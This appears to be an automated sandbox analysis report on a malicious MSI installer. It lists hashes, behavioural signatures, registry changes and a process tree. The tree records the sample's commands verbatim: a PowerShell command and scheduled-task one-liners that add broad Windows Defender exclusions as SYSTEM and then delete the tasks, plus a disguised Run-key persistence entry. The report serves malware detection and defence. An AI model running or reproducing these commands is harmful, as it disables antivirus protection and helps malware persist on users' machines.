Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/08/2026, 16:13
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_ehe006.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_ehe006.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target install_ehe006.msi
- Size 7.6MB
- Sample260802-tphdzscm5x
- SHA256 86da8b1b93612b4ad7ac359a53fe613068b561ff32dae4368419307685f1ccef
- MD5 3e28ae1e29d55186e49eaaa1fab84026
- SHA1 459f23d6ffbe22d7c540f524cefa9d2a68db32b8
- SHA512 09ba0f841a0631bade4426166f4e0e36587276d0946407497856fb8148d00bce64ee1d97965f31c97d6ca6ea2bc99f7f475d0f3591fadc0e418ed3ce0e090adf
- SSDEEP 196608:ATacFhja9PR1uTUFL3WaNNoT9n7gle0IzEu/eulf:0hjaxXQcWaSnZNZHf
- TLSH T1F08633E5B4E93B74C08BC3B14117613E706E3FC4BE79AD4673E9B5140E72A264A36398
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5544 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2204 2pkmaS.exe - Loads dropped DLL 2 IoCs
pid Process 3748 MsiExec.exe 2204 2pkmaS.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\nLwq4D\\2pkmaS.exe\"" 2pkmaS.exe - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 3748 MsiExec.exe 3 3748 MsiExec.exe 4 3748 MsiExec.exe 9 3748 MsiExec.exe 10 3748 MsiExec.exe 11 3748 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3528 cmd.exe 1700 cmd.exe 1848 cmd.exe 2708 cmd.exe 1592 cmd.exe - Drops file in System32 directory 11 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 2pkmaS.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe File opened for modification C:\Windows\Installer\MSIB731.tmp msiexec.exe File created C:\Windows\Installer\e59b0e9.msi msiexec.exe File created C:\Windows\SystemTemp\~DF7D17B064C6BB0ADA.TMP msiexec.exe File created C:\Windows\Installer\e59b0e7.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DF31137937B44FABD7.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF7FE5ACCA2158FE6A.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIB7ED.tmp msiexec.exe File created C:\Windows\SystemTemp\~DFE4D58DBDEC89B099.TMP msiexec.exe File opened for modification C:\Windows\Installer\e59b0e7.msi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3140 msiexec.exe - Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6048 cmd.exe 1296 cmd.exe 6060 cmd.exe 5016 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000002fab76c52da068360000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838012fab76c50000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841012fab76c5000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e32fab76c500000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e62fab76c500000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_ehe006.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "1ED90072387A5F34487AB4A1C8BFD433" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4760 schtasks.exe 2852 schtasks.exe 4956 schtasks.exe 2460 schtasks.exe 2560 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4316 msiexec.exe 4316 msiexec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 3748 MsiExec.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe 2204 2pkmaS.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 808 Process not Found 808 Process not Found 808 Process not Found 808 Process not Found 808 Process not Found 808 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3140 msiexec.exe Token: SeIncreaseQuotaPrivilege 3140 msiexec.exe Token: SeSecurityPrivilege 4316 msiexec.exe Token: SeCreateTokenPrivilege 3140 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3140 msiexec.exe Token: SeLockMemoryPrivilege 3140 msiexec.exe Token: SeIncreaseQuotaPrivilege 3140 msiexec.exe Token: SeMachineAccountPrivilege 3140 msiexec.exe Token: SeTcbPrivilege 3140 msiexec.exe Token: SeSecurityPrivilege 3140 msiexec.exe Token: SeTakeOwnershipPrivilege 3140 msiexec.exe Token: SeLoadDriverPrivilege 3140 msiexec.exe Token: SeSystemProfilePrivilege 3140 msiexec.exe Token: SeSystemtimePrivilege 3140 msiexec.exe Token: SeProfSingleProcessPrivilege 3140 msiexec.exe Token: SeIncBasePriorityPrivilege 3140 msiexec.exe Token: SeCreatePagefilePrivilege 3140 msiexec.exe Token: SeCreatePermanentPrivilege 3140 msiexec.exe Token: SeBackupPrivilege 3140 msiexec.exe Token: SeRestorePrivilege 3140 msiexec.exe Token: SeShutdownPrivilege 3140 msiexec.exe Token: SeDebugPrivilege 3140 msiexec.exe Token: SeAuditPrivilege 3140 msiexec.exe Token: SeSystemEnvironmentPrivilege 3140 msiexec.exe Token: SeChangeNotifyPrivilege 3140 msiexec.exe Token: SeRemoteShutdownPrivilege 3140 msiexec.exe Token: SeUndockPrivilege 3140 msiexec.exe Token: SeSyncAgentPrivilege 3140 msiexec.exe Token: SeEnableDelegationPrivilege 3140 msiexec.exe Token: SeManageVolumePrivilege 3140 msiexec.exe Token: SeImpersonatePrivilege 3140 msiexec.exe Token: SeCreateGlobalPrivilege 3140 msiexec.exe Token: SeBackupPrivilege 2924 vssvc.exe Token: SeRestorePrivilege 2924 vssvc.exe Token: SeAuditPrivilege 2924 vssvc.exe Token: SeBackupPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeBackupPrivilege 3440 srtasks.exe Token: SeRestorePrivilege 3440 srtasks.exe Token: SeSecurityPrivilege 3440 srtasks.exe Token: SeTakeOwnershipPrivilege 3440 srtasks.exe Token: SeBackupPrivilege 3440 srtasks.exe Token: SeRestorePrivilege 3440 srtasks.exe Token: SeSecurityPrivilege 3440 srtasks.exe Token: SeTakeOwnershipPrivilege 3440 srtasks.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe Token: SeTakeOwnershipPrivilege 4316 msiexec.exe Token: SeRestorePrivilege 4316 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3140 msiexec.exe 3140 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3140 msiexec.exe 4316 msiexec.exe 3748 MsiExec.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 4316 wrote to memory of 3440 4316 msiexec.exe 94 PID 4316 wrote to memory of 3748 4316 msiexec.exe 96 PID 2204 wrote to memory of 5544 2204 2pkmaS.exe 101 PID 2204 wrote to memory of 3528 2204 2pkmaS.exe 103 PID 3528 wrote to memory of 4760 3528 cmd.exe 105 PID 3528 wrote to memory of 5552 3528 cmd.exe 107 PID 3528 wrote to memory of 3572 3528 cmd.exe 110 PID 2204 wrote to memory of 1700 2204 2pkmaS.exe 112 PID 1700 wrote to memory of 2852 1700 cmd.exe 114 PID 1700 wrote to memory of 5460 1700 cmd.exe 115 PID 1700 wrote to memory of 400 1700 cmd.exe 117 PID 2204 wrote to memory of 1848 2204 2pkmaS.exe 118 PID 1848 wrote to memory of 4956 1848 cmd.exe 120 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_ehe006.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3140
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:3440
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding CC51D28C3F085F8EE72B7BB1E649918C E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3748
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2924
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:3484
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C:\Users\Public\nLwq4D\2pkmaS.exe"C:\Users\Public\nLwq4D\2pkmaS.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:5544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nLwq4D\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3528 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nLwq4D\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4760
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5552
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2852
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5460
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:400
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4956
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3092
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:2708 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2460
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2452
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3876
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:1592 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2560
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\nLwq4D" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:6048
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C:\Windows\system32\cmd.execmd.exe1⤵PID:2336
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:1296
